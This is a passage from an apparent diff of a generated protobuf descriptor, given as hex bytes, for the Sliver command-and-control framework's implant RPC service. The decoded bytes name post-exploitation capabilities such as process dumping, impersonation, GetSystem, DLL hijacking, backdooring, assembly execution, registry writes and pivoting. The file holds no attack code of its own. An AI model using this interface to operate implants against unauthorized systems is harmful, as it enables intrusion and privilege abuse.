0x70, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, + 0x73, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, + 0x41, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, + 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, + 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x65, 0x72, + 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x38, 0x0a, 0x09, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, + 0x65, 0x6c, 0x66, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x54, 0x6f, 0x53, 0x65, 0x6c, 0x66, + 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, + 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x61, + 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, + 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x1a, 0x0e, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, + 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, + 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, + 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, + 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, + 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, + 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, + 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, + 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, + 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, + 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, + 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, + 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, + 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, + 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, + 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, + 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, + 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, + 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, + 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, + 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, + 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, + 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, + 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, + 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, + 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, + 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, + 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, - 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, - 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, + 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, + 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, + 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, + 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, + 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, + 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, + 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, + 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, + 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, + 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x57, + 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x52, 0x70, + 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, + 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, + 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, + 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x55, 0x0a, 0x14, + 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, + 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, - 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, - 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 